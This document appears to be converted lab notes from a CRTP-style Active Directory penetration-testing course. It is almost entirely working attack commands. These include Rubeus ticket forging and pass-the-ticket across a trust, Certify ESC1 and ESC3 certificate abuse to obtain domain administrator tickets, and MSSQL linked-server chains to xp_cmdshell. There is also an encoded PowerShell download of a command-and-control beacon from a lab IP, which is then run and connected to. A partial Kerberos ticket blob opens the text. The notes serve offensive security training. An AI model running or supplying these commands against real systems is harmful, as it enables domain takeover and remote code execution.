MDC1MDIwWqcRGA8yMDI2MDYwMzIxNTAyMFqoHBSaRE9MTEFSQ09SUC5NT05FUWNPULAuTE9DQyupLzAtoAMCAQKhJjAk
GwZrcmJ0Z3QbGkRPTExBUKNPULAuTU90RVLD1JQLkxPQ0FM
'@ -replace '\s', ''
```

ptt into terminal

Source row 743 - columns A/R

```
.\Rubeus.exe asktgs /service:cifs/eurocorp-dc.eurocorp.local /dc:eurocorp-dc.eurocorp.local
/ticket:$referralTGT /ptt /nowrap
```

Enumerate share

Source row 744 - columns A/R

```
dir \\eurocorp-dc.eurocorp.local\SharedwithDCorp\
```

Read files in share

Source row 745 - columns A/R

```
type \\eurocorp-dc.eurocorp.local\SharedwithDCorp\secret.txt
```

CS ADCS

AD CS enumeration and ESC1/ESC3 certificate abuse workflow notes.

General

List CAs

Source row 750 - columns A/R

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Certify.exe cas
/domain:moneycorp.local
```

List vulnerbale templates

Source row 751 - columns A/R

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Certify.exe find
/domain:moneycorp.local /vulnerable
```

ESC1

Requirement #1

Source row 754 - columns A/B

Notes: [!] UserSpecifiedSAN : EDITF_ATTRIBUTESUBJECTALTNAME2 set, enrollees can specify Subject Alternative Names!

#1 CA vuln

Source row 755 - columns A/R

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Certify.exe cas
/domain:moneycorp.local
```


Requirements #2

Source row 756 - columns A/B

Notes: msPKI-Certificate-Name-Flag : ENROLLEE_SUPPLIES_SUBJECT

Authorized Signatures Required : 0

pkiextendedkeyusage : Client Authentication

Enrollment Rights: ... our user, or our group

#2 List vulnerable templates

Source row 757 - columns A/B

Context: - doesnt show vuln templates that are specific to our group, instead only ones with "all authenticated users" but i.e. not "RDPUsers" which all students are in

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Certify.exe find
/domain:moneycorp.local /vulnerable
```

all templates details with enrolleeSuppliesSubject

Source row 758 - columns A/B

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Certify.exe find
/domain:moneycorp.local /enrolleeSuppliesSubject
```

Request esc1 cert

Source row 759 - columns A/B

Context: - /ca is format server.CA

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Certify.exe request
/ca:mcorp-dc.moneycorp.local\moneycorp-MCORG-DC-CA /template:HTTPSCertificates
/altname:administrator /sid:S-1-5-21-719815819-3726368948-3917688648-500
```

esc1-DA.pem

Source row 760 - columns A/B

Notes: -----BEGIN RSA PRIVATE KEY-----

...

-----END RSA PRIVATE KEY-----

-----BEGIN CERTIFICATE-----

...

-----END CERTIFICATE-----

pem -> pfx

Source row 761 - columns A/B

```
openssl pkcs12 -in esc1-DA.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0"
-export -out esc1-DA.pfx
```

Command

Source row 762 - columns A/B

```
Upload to target
upload /home/kali/Labs/CRTP/esc1-DA.pfx
```

Command

Source row 763 - columns A/B

```
Rubeus
- pfx -> DA TGT
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe asktgt
/user:administrator /domain:dollarcorp.moneycorp.local
/certificate:C:\Windows\Temp\esc1-DA.pfx /entype:aes256 /ptt /nowrap
```

Confirm new TGT

Source row 764 - columns A/B

```
shell klist
```

Test access

Source row 765 - columns A/B

```
shell winrs -r:dcorp-dc.dollarcorp.moneycorp.local cmd /c "whoami && hostname && set
username && set computername"
```

Test #2

Source row 766 - columns A/B

```
ls //dcorp-dc/admin$
```

ESC3

Overview

Requirement #1

Source row 770 - columns A/B

Notes: Enrollment Agent Restrictions : None

"cas" to find #1 CA setting

Source row 771 - columns A/B

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Certify.exe cas  
/domain:moneycorp.local
```

Requirement #2

Source row 772 - columns A/B

Context: - 1st template

Notes: pkiextendedkeyusage : Certificate Request Agent

Authorized Signatures Required : 0

Enrollment Rights : dcorp\Domain Users, or our custom group

"find" to find #2 template

Source row 773 - columns A/B

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Certify.exe find  
/domain:moneycorp.local
```

Requirement #3

Source row 774 - columns A/B

Context: - template that accepts Enrollment Agent Signing

Notes: Authorized Signatures Required : 1

Application Policies : Certificate Request Agent

pkiextendedkeyusage : Client Authentication

Enrollment Rights : dcorp\Domain Users

What "accepts Enrollment Agent signing" means

Source row 775 - columns A/B

Notes: This template will issue certificates only if the request is signed by an Enrollment Agent certificate.

- So your agent certificate from Template A becomes the "approval/signature" needed to request from Template B.

"find" to find #3 template

Source row 776 - columns A/B

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Certify.exe find  
/domain:moneycorp.local
```

Request cert A

Source row 777 - columns A/B

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Certify.exe request  
/ca:mcorp-dc.moneycorp.local\moneycorp-MCORG-DC-CA /template:SmartCardEnrollment-Agent
```

put pem into file

Source row 778 - columns A/B

```
nano esc3-agent.pem
```

pem -> pfx

Source row 779 - columns A/B

```
openssl pkcs12 -in esc3-agent.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider  
v1.0" -export -out esc3-agent.pfx
```

Command

Source row 780 - columns A/B

```
Upload pfx
upload /home/kali/Labs/CRTP/esc3-agent.pfx
```

request cert B

Source row 781 - columns A/B

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Certify.exe request
/ca:ncorp-dc.moneycorp.local\moneycorp-MCORP-DC-CA /template:SmartCardEnrollment-Users
/onbehalfof:dcorp\administrator /enrollcert:C:\Users\student352\esc3-agent.pfx
```

put pem into file

Source row 782 - columns A/B

```
nano esc3-DA.pem
```

pem -> pfx

Source row 783 - columns A/B

```
openssl pkcs12 -in esc3-DA.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0"
-export -out esc3-DA.pfx
```

Command

Source row 784 - columns A/B

```
Upload pfx
upload /home/kali/Labs/CRTP/esc3-DA.pfx
```

pfx -> DA TGT

Source row 785 - columns A/B

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe asktgt
/user:administrator /domain:dollarcorp.moneycorp.local
/certificate:C:\Users\student352\esc3-DA.pfx /enctype:aes256 /ptt /nowrap
```

Confirm new TGT

Source row 786 - columns A/B

```
shell klist
```

Test access

Source row 787 - columns A/B

```
shell winrs -r:dcorp-dc.dollarcorp.moneycorp.local cmd /c "whoami && hostname && set
username && set computername"
```

Test #2

Source row 788 - columns A/B

```
ls //dcorp-dc/admin$
```

MSSQL

SQL Server discovery, linked server traversal, permissions, and command execution notes.

Discovery and enumeration of SQL servers

Find SQL service

Source row 793 - columns A/B

Context: - Or just test any host with SQL in name

```
ldapsearch (&(samAccountType=805306368)(servicePrincipalName=MSSQLSvc*)) --attributes
name,samAccountName,servicePrincipalName
```

Expand on found SQL svc

Source row 794 - columns A/B

```
ldapsearch (servicePrincipalName=MSSQLSvc*) --attributes
distinguishedName,objectClass,name,sAMAccountName,dNSHostName,servicePrincipalName
ldapsearch (&(objectClass=computer)(servicePrincipalName=MSSQLSvc*)) --attributes
name,dNSHostName,servicePrincipalName
```

SharpSQL

Source row 795 - columns A/B

Context: - PowerUpSQL but .NET

```
https://github.com/mlcsec/SharpSQL
```

Enumerate found server

Source row 796 - columns A/B

```
sql-info DCORP-MSSQL
```

perms on sql server

Source row 797 - columns A/B

```
sql-whoami DCORP-MSSQL
```

sql-query DCORP-MSSQL "select @@servername as ServerName, system_user as LoginName, is_srvrolemember('sysadmin') as IsSysAdmin"

Source row 797 - columns C/D

```
sql-query DCORP-MSSQL "select @@servername as ServerName, system_user as LoginName, is_srvrolemember('sysadmin') as IsSysAdmin"
```

Links

List Links

Source row 800 - columns A/B

```
sql-links DCORP-MSSQL
```

perms on Link

Source row 801 - columns A/B

```
sql-whoami DCORP-MSSQL "" DCORP-SQL1
```

sql-query DCORP-MSSQL "SELECT * FROM OPENQUERY([DCORP-SQL1], 'select @@servername as ServerName, system_user as LoginName, is_srvrolemember('sysadmin') as IsSysAdmin')"

Source row 801 - columns C/D

```
sql-query DCORP-MSSQL "SELECT * FROM OPENQUERY([DCORP-SQL1], 'select @@servername as ServerName, system_user as LoginName, is_srvrolemember('sysadmin') as IsSysAdmin')"
```

Find links of link

Source row 802 - columns A/B

```
sql-query DCORP-MSSQL "SELECT * FROM OPENQUERY([DCORP-SQL1], 'select name,data_source,provider,is_linked from master.sys.servers')"
```

perms on link of link

Source row 803 - columns A/B

```
sql-query DCORP-MSSQL "SELECT * FROM OPENQUERY([DCORP-SQL1], 'SELECT * FROM OPENQUERY([DCORP-MGMT], 'select @@servername as ServerName, system_user as LoginName, is_srvrolemember('sysadmin') as IsSysAdmin')')"
```

find Links of link of link

Source row 804 - columns A/B

```
sql-query DCORP-MSSQL "SELECT * FROM OPENQUERY([DCORP-SQL1], 'SELECT * FROM OPENQUERY([DCORP-MGMT], 'select name,data_source,provider,is_linked from master.sys.servers')')"
```

perms on link of link of link

Source row 805 - columns A/B

```
sql-query DCORP-MSSQL "SELECT * FROM OPENQUERY([DCORP-SQL1], 'SELECT * FROM OPENQUERY([DCORP-MGMT], 'SELECT * FROM OPENQUERY([EU-SQL27.EU.EUROCOPR.LOCAL], 'select @@servername as ServerName, system_user as LoginName, is_srvrolemember('sysadmin') as IsSysAdmin')')')"
```

Command

Source row 806 - columns A/B

```
Check xp_cmdshell
sql-query DCORP-MSSQL "SELECT * FROM OPENQUERY([DCORP-SQL1], 'SELECT * FROM OPENQUERY([DCORP-MGMT], 'SELECT * FROM OPENQUERY([EU-SQL27.EU.EUROCOPR.LOCAL], 'select
```

```
cast(value_in_use as int) as XpCmdShellEnabled from sys.configurations where
name='''xp_cmdshell''')
```

Test command execution

Source row 807 - columns A/B

Context: - whoami

```
sql-query DCORP-MSSQL "SELECT * FROM OPENQUERY([DCORP-SQL1], 'SELECT * FROM
OPENQUERY([DCORP-MGMT], 'SELECT * FROM OPENQUERY([EU-SQL27.EU.EUROCORN.LOCAL], ''EXEC
master..xp_cmdshell ''''whoami'''' WITH RESULT SETS ((output
nvarchar(4000))'''))')"
```

Test command execution

Source row 808 - columns A/B

Context: - hostname

```
sql-query DCORP-MSSQL "SELECT * FROM OPENQUERY([DCORP-SQL1], 'SELECT * FROM
OPENQUERY([DCORP-MGMT], 'SELECT * FROM OPENQUERY([EU-SQL27.EU.EUROCORN.LOCAL], ''EXEC
master..xp_cmdshell ''''hostname'''' WITH RESULT SETS ((output
nvarchar(4000))'''))')"
```

Overview

Source row 809 - columns A/B

Notes: - Below is beacon establishment part

make folder

Source row 810 - columns A/B

```
sql-query DCORP-MSSQL "SELECT * FROM OPENQUERY([DCORP-SQL1], 'SELECT * FROM
OPENQUERY([DCORP-MGMT], 'SELECT * FROM OPENQUERY([EU-SQL27.EU.EUROCORN.LOCAL], ''EXEC
master..xp_cmdshell ''''cmd /c mkdir C:\windows\Temp\lab 2^>nu\'''' WITH RESULT SETS
((output nvarchar(4000))'''))')"
```

Command

Source row 811 - columns A/B

```
Download beacon
sql-query DCORP-MSSQL "SELECT * FROM OPENQUERY([DCORP-SQL1], 'SELECT * FROM
OPENQUERY([DCORP-MGMT], 'SELECT * FROM OPENQUERY([EU-SQL27.EU.EUROCORN.LOCAL], ''EXEC
master..xp_cmdshell ''''powershell -NoP -ExecutionPolicy Bypass -enc aQB3AHIAIAAtAFUAcwB
lAEIAYQBZAGkAYwBQAGEAcgBzAGkAbgBnACAAaAB0AHQAcAA6AC8ALwAxAdcAMgAuADEANGAuADEAMAawAC4ANQAYAC8
AdABjAHAAXwB4ADYANAauAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQB
tAHAAXABsAGEAYgBcAHQAYwBwAF8AAeAA2ADQALgBlAHgAZQA= '''' WITH RESULT SETS ((output
nvarchar(4000))'''))')"
```

Confirm beacon not burnt

Source row 812 - columns A/B

```
sql-query DCORP-MSSQL "SELECT * FROM OPENQUERY([DCORP-SQL1], 'SELECT * FROM
OPENQUERY([DCORP-MGMT], 'SELECT * FROM OPENQUERY([EU-SQL27.EU.EUROCORN.LOCAL], ''EXEC
master..xp_cmdshell ''''cmd /c dir C:\windows\Temp\lab\tcp_x64.exe'''' WITH RESULT
SETS ((output nvarchar(4000))'''))')"
```

Run beacon

Source row 813 - columns A/B

```
sql-query DCORP-MSSQL "SELECT * FROM OPENQUERY([DCORP-SQL1], 'SELECT * FROM
OPENQUERY([DCORP-MGMT], 'SELECT * FROM OPENQUERY([EU-SQL27.EU.EUROCORN.LOCAL], ''EXEC
master..xp_cmdshell ''''cmd /c start /b C:\windows\Temp\lab\tcp_x64.exe'''' WITH
RESULT SETS ((output nvarchar(4000))'''))')"
```

Connect

Source row 814 - columns A/B

Context: - had to use IP

```
connect 172.16.15.17 4444
```

Appendix: Source and Handling Notes

Source workbook: CRTP Cobalt.xlsx. The PDF was generated from the single worksheet named CRTP Cobalt. The original sheet used six columns; this document converts them into readable sections and source-row-tagged entries.

Handling note: several entries contain lab passwords, hashes, certificates, ticket blobs, internal hostnames, and IP addresses exactly as they appeared in the workbook. Store and share this document accordingly.